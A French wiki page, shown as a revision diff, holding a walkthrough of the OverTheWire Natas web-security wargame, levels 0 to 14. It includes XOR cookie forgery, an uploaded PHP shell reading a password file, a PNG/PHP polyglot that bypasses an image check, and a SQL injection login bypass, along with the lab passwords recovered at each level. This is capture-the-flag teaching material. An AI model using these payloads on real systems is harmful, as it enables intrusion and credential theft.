Outils d'utilisateurs

Outils du Site


natas_wargame

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

natas_wargame [2012/11/09 14:21]
TechBrunch
natas_wargame [2017/04/09 15:33] (Version actuelle)
Ligne 1: Ligne 1:
 ====== Natas ====== ====== Natas ======
 +
  
  
Ligne 37: Ligne 38:
 Le clic droit a été désactivé sur la page avec du javascript plusieurs solutions s'offrent à nous : Le clic droit a été désactivé sur la page avec du javascript plusieurs solutions s'offrent à nous :
  
-*Désactiver le javascript ( Sous chrome Ctrl + Shift + J et ensuite modifier les paramètres en cliquant sur l'engrenage en bas à droite) +  * Désactiver le javascript ( Sous chrome Ctrl + Shift + J et ensuite modifier les paramètres en cliquant sur l'engrenage en bas à droite) 
-*Modifier l'url pour accéder directement au code source : view-source:http://natas0.natas.labs.overthewire.org/+  * Modifier l'url pour accéder directement au code source : view-source:http://natas0.natas.labs.overthewire.org/
  
 <code html> <code html>
Ligne 55: Ligne 56:
 On jette un petit coup d'oeil au code source : On jette un petit coup d'oeil au code source :
  
-<code>+<code html>
 <div id="content"> <div id="content">
 There is nothing on this page There is nothing on this page
Ligne 66: Ligne 67:
 Le répertoire contient deux fichier : Le répertoire contient deux fichier :
  
-*pixel.png +  * pixel.png 
-*user.txt+  * user.txt
  
 Le fichier user.txt contient le mot de passe pour le niveau suivant. Le fichier user.txt contient le mot de passe pour le niveau suivant.
Ligne 241: Ligne 242:
 Pour trouver la clé il faut effectuer la fonction inverse de "encodeSecret" sur la clé contenu dans le variable $encodeSecret c'est à dire dans l'ordre : Pour trouver la clé il faut effectuer la fonction inverse de "encodeSecret" sur la clé contenu dans le variable $encodeSecret c'est à dire dans l'ordre :
  
--Conversion de l'hexadécimal en binaire ce qui nous donne "==QcCtmMml1ViV3b" (j'utiliser pour cela Xlate) +  - Conversion de l'hexadécimal en binaire ce qui nous donne "==QcCtmMml1ViV3b" (j'utiliser pour cela Xlate) 
--On inverse l'ordre des caractères en utilisant la fonction  strrev ce qui nous donne "b3ViV1lmMmtCcQ==" +  - On inverse l'ordre des caractères en utilisant la fonction  strrev ce qui nous donne "b3ViV1lmMmtCcQ==" 
--On décode en base64 ce qui nous donne "oubWYf2kBq"+  - On décode en base64 ce qui nous donne "oubWYf2kBq"
  
 >Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT >Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT
Ligne 275: Ligne 276:
 s09byvi8880wqhbnonMFMW8byCojm8eA s09byvi8880wqhbnonMFMW8byCojm8eA
 </file> </file>
- 
-Par contre je ne comprend pas pourquoi il nous affiche l'ensemble du dico avec, c'est probablement parce que l'épreuve est simulée l'utilisation de la fonction passthru étant risquée. 
  
 ===== Level 10 ===== ===== Level 10 =====
Ligne 312: Ligne 311:
 SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6 SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
 </file> </file>
 +
 +===== Level 11 =====
 +
 +Voici le code du level 11 :
 +
 +<code php>
 +<?
 +
 +$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
 +
 +function xor_encrypt($in) {
 +    $key = '<censored>';
 +    $text = $in;
 +    $outText = '';
 +
 +    // Iterate through each character
 +    for($i=0;$i<strlen($text);$i++) {
 +    $outText .= $text[$i] ^ $key[$i % strlen($key)];
 +    }
 +
 +    return $outText;
 +}
 +
 +function loadData($def) {
 +    global $_COOKIE;
 +    $mydata = $def;
 +    if(array_key_exists("data", $_COOKIE)) {
 +    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
 +    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
 +        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
 +        $mydata['showpassword'] = $tempdata['showpassword'];
 +        $mydata['bgcolor'] = $tempdata['bgcolor'];
 +        }
 +    }
 +    }
 +    return $mydata;
 +}
 +
 +function saveData($d) {
 +    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
 +}
 +
 +$data = loadData($defaultdata);
 +
 +if(array_key_exists("bgcolor",$_REQUEST)) {
 +    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
 +        $data['bgcolor'] = $_REQUEST['bgcolor'];
 +    }
 +}
 +
 +saveData($data);
 +
 +
 +?>
 +
 +<h1>natas11</h1>
 +<div id="content">
 +<body style="background: <?=$data['bgcolor']?>;">
 +Cookies are protected with XOR encryption<br/><br/>
 +
 +<?
 +if($data["showpassword"] == "yes") {
 +    print "The password for natas12 is <censored><br>";
 +}
 +
 +?>
 +</code>
 +
 +Que fait ce code ?
 +
 +  - Recherche d'un cookie encrypté nommé data comprenant deux informations showpassword et bgcolor
 +  - S'il existe il charge la couleur stockée
 +  - Sinon il prend une valeur par défaut
 +  - S'il y a modification ou pas il stocke la valeur du cookie
 +
 +L'objectif étant de modifier la valeur du cookie afin que show password devienne égale à Yes, problème la cookie est encrypté. Il va donc falloir d'abord trouvé la clé qui permet de crypter le cookie.
 +
 +Si on jette un oeil à la fonction qui permet de crypter le cookie on s'aperçoit que la fonction n'effectue qu'un simple XOR. Pour retrouver la clé d'origine j'ai donc légèrement modifié la fonction de cryptage afin de retomber sur la clé.
 +
 +<code php>
 +function antixor($in) {
 +    $key = '{"showpassword":"no","bgcolor":"#ffffff"}';
 +    $text = $in;
 +    $outText = '';
 +
 +    // Iterate through each character
 +    for($i=0;$i<strlen($text);$i++) {
 +    $outText .= $text[$i] ^ $key[$i % strlen($key)];
 +    }
 +
 +    return $outText;
 +}
 +</code>
 +
 +En effet on sait que A ^ B = C donne C ^ A = B. Il suffit alors de faire un echo de la fonction antixor sur un cookie dont on connait la contenue.
 +  
 +<file>
 +echo antixor(base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"));
 +</file>
 +
 +On trouve alors que la clé est "qw8J" car le motif se répète. Une fois qu'on a la clé il suffit de la remplacer dans la fonction xor_encrypt et de l'utiliser sur un cookie dont on aura au préalable modifier la valeur du showpassword.
 +
 +<file>
 +$yes = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
 +
 +echo "<p>".base64_encode(xor_encrypt(json_encode($defaultdata)))."</p>";
 +</file>
 +
 +Ce qui nous donne :
 +
 +<file>
 +ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
 +</file>
 +
 +On modifie donc la valeur du cookie, on recharge la page et c'est dans la poche :
 +
 +>The password for natas12 is sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu
 +
 +===== Level 12 =====
 +
 +Code source du level 12 :
 +
 +<code php>
 +<?  
 +
 +function genRandomString() { 
 +    $length = 10; 
 +    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 
 +    $string = "";     
 +
 +    for ($p = 0; $p < $length; $p++) { 
 +        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
 +    } 
 +
 +    return $string; 
 +
 +
 +function makeRandomPath($dir, $ext) { 
 +    do { 
 +    $path = $dir."/".genRandomString().".".$ext; 
 +    } while(file_exists($path)); 
 +    return $path; 
 +
 +
 +function makeRandomPathFromFilename($dir, $fn) { 
 +    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
 +    return makeRandomPath($dir, $ext); 
 +
 +
 +if(array_key_exists("filename", $_POST)) { 
 +    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 
 +
 +        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
 +        echo "File is too big"; 
 +    } else { 
 +        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
 +            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
 +        } else{ 
 +            echo "There was an error uploading the file, please try again!"; 
 +        } 
 +    } 
 +} else { 
 +?> 
 +
 +<form enctype="multipart/form-data" action="index.php" method="POST"> 
 +<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 
 +<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 
 +Choose a JPEG to upload (max 1KB):<br/> 
 +<input name="uploadedfile" type="file" /><br /> 
 +<input type="submit" value="Upload File" /> 
 +</form> 
 +<? } ?>
 +</code>
 +
 +On se retrouve devant un formulaire d'uploader une image au format JPEG. Le nom du fichier est randomisé grâce à la fonction genRandomString cependant l'extension est écrite en dure dans le formulaire.
 +
 +On va donc créer un petit fichier php permettant d'afficher la clé vers le prochain niveau :
 +
 +<code php>
 +<?php
 + passthru("cat /etc/natas_webpass/natas13");
 +?>
 +</code>
 +
 +On modifie l'extension en éditant le code source de la page et on upload le fichier.
 +
 +>The file upload/cprocjo1uj.php has been uploaded
 +
 +Le fichier est bien uplaodé avec l'extension php il ne reste plus qu'a naviguer à l'adresse du fichier pour voir apparaître la clé :
 +
 +<file>
 +IGCXqS4x472aoHZYaidvmeoWj2GmuRYz
 +</file>
 +
 +
 +===== Level 13 =====
 +
 +Le niveau 13 est le même que le niveau 12 à un détail près, un test est fait pour vérifier que le fichier uploadé est bien une image.
 +
 +<code php>
 +if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
 +        echo "File is not an image"; 
 +}
 +</code>
 +
 +Pour contourner cette protection j'ai créé une image d'1 pixel et j'ai collé à la suite mon script php. Le fichier est uploadé correctement et lorsque l'on charge l'image on se retrouve avec ceci :
 +
 +<file>
 +‰PNG  IHDRwSÞsRGB®ÎégAMA± üa pHYsÃÃÇo¨d IDATWcø¹i `ö–ºOIEND®B`‚ sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh
 +</file> 
 +
 +La clé étant : sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh
 +
 +===== Level 14 =====
 +
 +Code source du level 14 :
 +
 +<code php>
 +<? 
 +if(array_key_exists("username", $_REQUEST)) { 
 +    $link = mysql_connect('localhost', 'natas14', '<censored>'); 
 +    mysql_select_db('natas14', $link); 
 +
 +    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 
 +    if(array_key_exists("debug", $_GET)) { 
 +        echo "Executing query: $query<br>"; 
 +    } 
 +
 +    if(mysql_num_rows(mysql_query($query, $link)) > 0) { 
 +            echo "Successful login! The password for natas15 is <censored><br>"; 
 +    } else { 
 +            echo "Access denied!<br>"; 
 +    } 
 +    mysql_close($link); 
 +} else { 
 +?>
 +</code>
 +
 +On se retrouve devant un code vulnérable au injection SQL car les paramètres Username et Password ne sont pas du tout filtrés.
 +
 +Si on utiliser pour username a et comme password : a" or "a"="a :
 +
 +>http://natas14.natas.labs.overthewire.org/?debug&username=a&password=a" or "a"="a
 +
 +Le requête sera toujours vrai et donc elle retournera l'ensemble des comptes.
 +
 +>Executing query: SELECT * from users where username="a" and password="a" or "a"="a"
 +>Successful login! The password for natas15 is m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV
 +
 +
 +===== Level 15 =====
 +
 +La solution sur [[http://www.techbrunch.fr/securite/wargame-natas-writeup-level-15/]]
 +
 +===== Level 16 =====
 +
 +
 +===== Level 17 =====
natas_wargame.1352467268.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)